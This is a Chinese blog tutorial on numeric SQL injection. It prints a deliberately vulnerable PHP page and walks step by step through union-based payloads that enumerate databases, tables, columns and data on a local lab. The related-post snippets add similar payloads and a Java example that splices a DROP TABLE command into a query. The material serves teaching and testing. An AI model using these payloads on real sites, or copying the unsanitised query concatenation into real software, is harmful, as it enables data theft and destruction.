SQL注入原理-数值型注入

原创 已于 2022-09-15 16:32:39 修改 · 1.8k 阅读 · 20 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sql #数据库 #网络安全

于 2022-09-12 22:51:26 首次发布
本文详细解析了如何利用数值型注入漏洞，从测试注入点到查询数据库的各个环节，包括判断字段数量、定位可回显字段，直至揭示数据库名、表名、字段和数据。

        小伙伴们大家好！本期为大家带来的是SQL注入原理-数值型注入的讲解！

目录

SQL注入原理

数值型注入

​编辑

1、测试是否存在注入点

2、判断字段个数

3、找出可以回显的字段

4、查询数据库的信息

        1.查看当前的数据库

        2.查看当前数据库的用户

        3.查看数据库的版本 

        4.查看所有的数据库名

        5.查看数据库下的所有表名

        6.查询表中所有的字段

        7.查询表中的数据

总结

SQL注入原理

        SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤，导致用户输入的SQL语句传入到后端，被后端执行。

数值型注入

        数值型注入顾名思义就是我们前端传入后端的参数是一个数值，比如id值。

比如后端需要根据前端传来的id值进行数据库查询并把结果传给前端进行展示。

源代码：

<?php

    // 连接数据库
    $coon = mysqli_connect("127.0.0.1","root","root","test",3306);
    error_reporting(0);

    if (isset($_GET['id'])) {
        // 接受传来的参数id
        $id = $_GET['id'];
        // 执行的SQL语句
        $sql = "select * from users where id=$id limit 0,1";
        $res = mysqli_query($coon, $sql);
        $row = mysqli_fetch_array($res);

        if ($res) {
            echo "<center></br>";
            echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
            echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
            echo "</center>";
        }else{
            echo "<center></br>";
            echo "<h1>";
            print_r(mysqli_error($coon));
            echo "</h1></center>";
        }
    } else {
        echo "<center>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }

1、测试是否存在注入点

这里我们可以直接传入?id=1，即可得到users表下id=1的数据。 

由于id值是由用户输入的，那我们就可以构造恶意的SQL语句来查询其他的数据。

例如我们输入?id=1 and 1=2

http://127.0.0.1/opsql/sql02.php?id=1 and 1=2

前端什么都没有显示，这就是因为我们输入的“and 1=2”也被传入到了后端，被当成SQL语句去执行，而 1=2 是错误的，所以前端不会显示数据。

当我们输入?id=1 and 1=1 时，页面就能正常回显users表下id值为1 的数据了。

这样即可证明一个网站是否存在SQL注入点。说明后端没有对我们输入的id值进行检验与过滤，使得我们构造的SQL语句被得到了执行。

2、判断字段个数

接下来，我们就是来判断后端在数据库查询时，总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

我们直接构造id值为“?id=1 order by 3”

http://127.0.0.1/opsql/sql02.php?id=1 order by 3

        order by是数据库查询的时候对结果进行的排序，如果后面写的是字段，则根据查询字段进行排序，但如果后面写的是数字，该数字大于所查询的字段数，则就会报错，小于的话就不会报错。

可以看到，当order by 3时页面正常回显，而当order by 4时页面报错“Unknown column '4' in 'order clause'”。

说明后端数据库查询语句查询的字段数为3个。返回上面查看源代码查询的字段数确实是3个。

3、找出可以回显的字段

构造id值“?id=1 union select 1,2,3”

http://127.0.0.1/opsql/sql02.php?id=1 union select 1,2,3

发现没有显示1，2，3。这是为什么呢？因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1，2，3分别能在哪里显示，就必须让后端的查询语句查不到结果，即：让id值为负或者在id=1后添加一个条件“and 1=2”。

这里可以查询的字段，只有第二个跟第三个字段能在前端页面显示。

4、查询数据库的信息

        1.查看当前的数据库

          构造id值“?id=-1 union select 1,database(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,database(),3

         

可以看到当前数据库名为test数据库。 

        2.查看当前数据库的用户

         构造id值“?id=-1 union select 1,user(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,user(),3

        3.查看数据库的版本 

        构造id值“?id=-1 union select 1,version(),3”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,version(),3

        4.查看所有的数据库名

        构造id值“?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata”

因为前端只显示一条数据，而我们想要得到所有的结果就要使用group_concat()函数，group_concat() 可以将我们查询到的数据用“,”拼接起来。

information_schema数据库是MySQL5.0之后自带的数据库，infomation_schema数据下的schemata表存储了所有数据库名，information_schema数据库下的tables表存储了所有的表名，information_schema数据库下的columns表存储了所有的字段名。

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

        5.查看数据库下的所有表名

        构造id值“?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'

        6.查询表中所有的字段

         构造id值“?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'

        7.查询表中的数据

        构造id值“?id=-1 union select 1,group_concat(name),group_concat(age) from study.student”

http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(name),group_concat(age) from study.student

 

 这样我们就查到了study数据库下student表中的数据信息。

总结

数值型注入的基本流程为：

        先使用and1=2的条件观察页面是否正常回显，如果正常回显则存在注入点，接下开始用order by 来判断后端SQL语句查询字段个数，再检测哪个字段可以被前端页面回显，之后就可以爆数据库、表、字段了，爆出字段就可以直接获取数据了！

SQL注入之数字型注入
PatrickStar131的博客
08-23 422
用到piakchu靶场，burp抓包 进入靶场页面 通过提交查询得知由变量id来输出 然后进行抓包 找出输入的数字进行SQL语句拼接 id=1&submit=%E6%9F%A5%E8%AF%A2 union select username,password from users id=1 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2 拼接后进行提交，此时靶场页面显示出...
sql注入（整数型注入）
2401_82760239的博客
03-29 1466
SQL注入是一种非常常见的数据库攻击手段，SQL注入漏洞也是网络世界中最普遍的漏洞之一。SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说，就是数据「越俎代庖」做了代码才能干的事情。这个问题的来源是，SQL数据库的操作是通过SQL语句来执行的，而无论是执行代码还是数据项都必须写在SQL语句之中，这就导致如果我们在数据项中加入了某些SQL语句关键字（比如说SELECT、DROP等等），这些关键字就很可能在数据库写入或读取数据时得到执行。
SQL 三种注入方式详解，（非常详细）零基础入门到精通，收藏这一篇就够了_sql注入
zz96405784848的博客
08-13 1073
SQL注入是一种常见的Web安全漏洞，攻击者通过构造特殊输入参数，利用未严格过滤的用户输入数据，在数据库中执行恶意SQL语句。主要分为数字型和字符型注入：数字型针对整型参数，通过单引号、逻辑条件测试；字符型针对字符串参数，需闭合引号并注释多余代码。其他注入类型（POST、Cookie、延时等）本质仍是这两种形式的变体。不同数据库（如Oracle、MySQL、SQL Server）的注入原理类似，攻击目标包括数据查询、文件读写和命令执行。防范关键在于严格校验用户输入。
SQL 数字型注入详解 + iwebsec实例
m0_50917178的博客
12-04 6814
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言一、SQL 数字型注入原理二、使用步骤1.引入库2.读入数据总结 前言 本文为作者的学习笔记。其中详细记载了作者对于SQL 数字型注入的理解，同时也介绍了利用union联合查询注入成功的完整过程。本文最后作者利用iwebsec和Webgoat两个平台来进行实战。如果有不足之处，欢迎指正。 提示：以下是本篇文章正文内容，下面案例可供参考 一、SQL 数字型注入原理 当输入的参数为整型时例如：ID、年龄等。如果此时存在注入漏洞，
sql注入--数字型
pakho_C的博客
01-01 2340
sql注入–数字型 靶场：sqli-labs-master 下载链接：靶场下载链接 第二关php源码 <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connectio
***学习笔记--基础篇--sql注入（数字型）
weixin_34364071的博客
09-28 676
环境：dvwa 1.7数据库:mysql dvwa的安全等级:medium一、分析和查找注入点（1）知识点回顾如果上一篇有好好读过的同学应该知道，我们上一篇遇到的字符型注入。也即是通过Get或者Post方式传进去的数据被单引号或者双引号包裹住。如果我们想要注入自己的payload(有效载荷)的话，则我们必须先闭合前面的单引号或者双引号，否则我们的数据始终会被...
SQL注入---数值型注入（POST）
Ethan024的博客
03-22 634
SQL注入—数值型注入（POST）（本文仅供学习或参考） 实验准备： 皮卡丘靶场—SQL Injection—数值型注入（POST） 实验步骤： 先查询一下下拉框的功能： 查看此时的URL：http://localhost/pikaqiu.cn/vul/sqli/sqli_id.php发现是post方式提交的请求，因为没有使用URL传参。 后端数据库查询逻辑：select name, email from table where id = n(1,2,3,4…) 使用Burpsuite
sql注入 sql-lib第一个（回显注入）
weixin_74182283的博客
03-28 1683
SQL注入攻击的根源：程序命令和用户数据（即用户输入） 之间没有做到泾渭分明 注入成功的基础 1、相信用户输入的数据 2、Sql语句的拼接按照注入的网页功能类型分类 •（ps:注入类型纯看个人收集情况）1、登录注入 • 2、cms注入 •按照注入点值的属性分类 • 1、数值型 • 2、字符串型 •基于从服务器返回的内容 • 1、有回显 • 2、无回显 •按照注入的程度和顺序 • 1、一阶注入 • 2、二阶注入 •。
sql注入靶场sqli-labs常见sql注入漏洞详解
网安小菜鸡的博客
08-05 991
把表里面每一行的结果拼成一个字符串输出（
Pikachu靶场-SQL注入-数字型注入（post）过关步骤
weixin_44257023的博客
07-16 1302
Pikachu靶场-SQL注入-数字型注入（post）过关步骤，重点是学习方法，当然有很多方法用工具什么的这里就是手工注入
我的白帽之路-SQL注入之数字型注入【sqli-labs Less-2】
Offsett的博客
02-27 491
我的白帽之路
SQL注入（一）：数字型（手注）+利用+爆破
NSQ0207的博客
07-19 1600
查询语句：select id,email from member where username=$id
SQL注入（数字型）
Vi_vids的博客
10-20 2079
基本漏洞篇 SQL注入（数字型） SQL注入就是在网站中注入sql语句，使其可以显示一些有用敏感信息 本章描述的数字型即是注入点为数字，采用GET方式 //sql_num.php <?php $conn = mysql_connect('localhost:3306','root','123456')or die('bad!'); //$conn定义一个名字为conn的变量 //使用账号root密码123456 去连接localhost这个mysql服务 mysql_query("SET NAMES
SQL注入基础--数字型注入
热门推荐
qq_42988351的博客
04-02 1万+
参考 参考学习链接 学习笔记–基础篇–sql注入（数字型） SQL注入简述 SQL注入，就是利用现有Web应用程序，构建特殊的参数输入，将（恶意的）SQL语句注入到后台数据库引擎，最终达到欺骗服务器执行恶意SQL语句的目的。 SQL注入的本质是后台SQL语句使用了拼接查询，未对用户输入的数据作安全处理。 SQL注入分类 根据注入形式的不同，可分为： 数字型注 字符型注 搜索型注入 根据请求方式的不同，可分为： GET型注 POST型注 HEADER型注入 根据注入点位置的不同，可分为： 列
SQL注入-数据类型
m0_73902453的博客
07-27 1607
许多网页链接有类似的结构 http;id=1基于此种形式的注入，一般被叫做数字型注入点，缘由是其注入点id类型为数字，在大多数的网页中，诸如查看用户个人信息，查看文章等，大都会使用这种形式的结构传递id等信息，交给后端，重询出数据库中对应的信息，返回给前台。这一类的SQL语句原型大概为select* from表名 where id=1若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破: select* from表名where id=1 and 1=1。
sql注入-数字型注入步骤
qq_73661602的博客
06-21 1156
select * from table where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name='表名'；（如果说屏幕上有两个显示位置，那我们就给两个参数1，2。因为数据库返回的字段不一定都会显示在前端中，因此我们需要找出显示的通道；确认通道后，我们按照按顺序分别找出数据库，表，列；
SQL数字型注入
gl620321的博客
08-10 475
一、SQL注入问题的审计 SQL攻击（SQL injection），简称注入攻击，是发生于应用程序之数据库层的安全漏洞。 简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序中忽略了检查，那么这些注入进去的指令就会被数据库服务器认为是正常的SQL指令而运行，因此遭到破坏。 而数字型注入一般不用考虑到引号的问题了 这个函数的功能就是将我们输入的字符进行查找替换 转化 第6行任意注入...
MySQL数字型注入
fdhdgsdfdsa的博客
03-05 241
准备知识 sql的增删改查命令（其中and & or(运算符)、order by（排序）、union（合并语句操作符）是重点） 判断是否存在漏洞 用and 1=1和and 1=2来验证判断，如： http://www.xxx.com/sqli/01.php?id=1 and 1=1 返回数据，说明执行成功 http://www.xxx.com/sqli/01.php?id=1 and 1=2 不返回数据，说明数据库后台报错了 用排序间接查找出所有列（专业说法SQL中叫字段） 用order b
SQL注入----数字型
weixin_43622525的博客
02-16 1813
目录 环境 实验 1、访问sqli-labs网站 2、寻找注入点 3、判断网站查询的字段数 ​4、判断网站的回显位置 5、获取网站当前所在数据库的库名 6、获取数据库security的全部表名​ 7、获取users表的全部字段名​ 8、获取users表id、username和password字段的全部值。 环境 windows 10 phpstudy2018 ，sqli-labs靶场，Firefox浏览器插件hackbar 实验 payload又称为攻击载荷，主要是用来建立目标
数值型sql注入
最新发布
09-05
数值型 SQL 注入是 SQL 注入攻击的一种类型。在正常的 SQL 查询中，数值型参数通常是直接作为数字使用，而数值型 SQL 注入就是攻击者利用应用程序对数值型参数过滤不严格的漏洞，通过构造恶意的数值参数来改变原有的 SQL 查询逻辑，以达到绕过认证、执行非法操作（如删除数据、获取敏感信息等）的目的。 以下是一个数值型 SQL 注入的示例，在 Java 代码中，若对数值型参数拼接时未做安全处理，就会引发注入问题： ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; public class NumericSQLInjectionExample { public static void main(String[] args) { try { // 假设已经建立了数据库连接 Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "password"); // 攻击者构造的恶意数值参数 String userId = "1; DROP TABLE users--"; String sql = "DELETE FROM orders WHERE user_id = " + userId; Statement stmt = connection.createStatement(); stmt.executeUpdate(sql); // 执行后会删除用户表！ } catch (Exception e) { e.printStackTrace(); } } } ``` 在上述示例中，攻击者构造的 `userId` 包含了恶意的 SQL 语句 `; DROP TABLE users--`，由于代码中直接将其拼接进 SQL 查询，导致原有的删除订单记录的 SQL 语句被改变，执行后会删除用户表 [^2]。 防范数值型 SQL 注入的方法主要有以下几点： - **使用预编译语句**：预编译语句会对 SQL 语句的结构和参数进行分离处理，参数会被自动进行转义，从而避免恶意代码的注入。在 Java 中，可以使用 `PreparedStatement` 来实现，示例如下： ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; public class PreventNumericSQLInjection { public static void main(String[] args) { try { // 假设已经建立了数据库连接 Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "password"); String sql = "DELETE FROM orders WHERE user_id = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); // 假设这是正常的用户 ID int userId = 1; pstmt.setInt(1, userId); pstmt.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } } } ``` - **严格的数据验证**：在接收用户输入的数值型参数时，对其进行严格的验证，确保输入的是合法的数值。例如，可以使用正则表达式来验证输入是否为纯数字。 - **最小权限原则**：数据库用户应仅被授予完成其任务所需的最小权限，这样即使发生 SQL 注入攻击，攻击者能够造成的损害也会受到限制。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值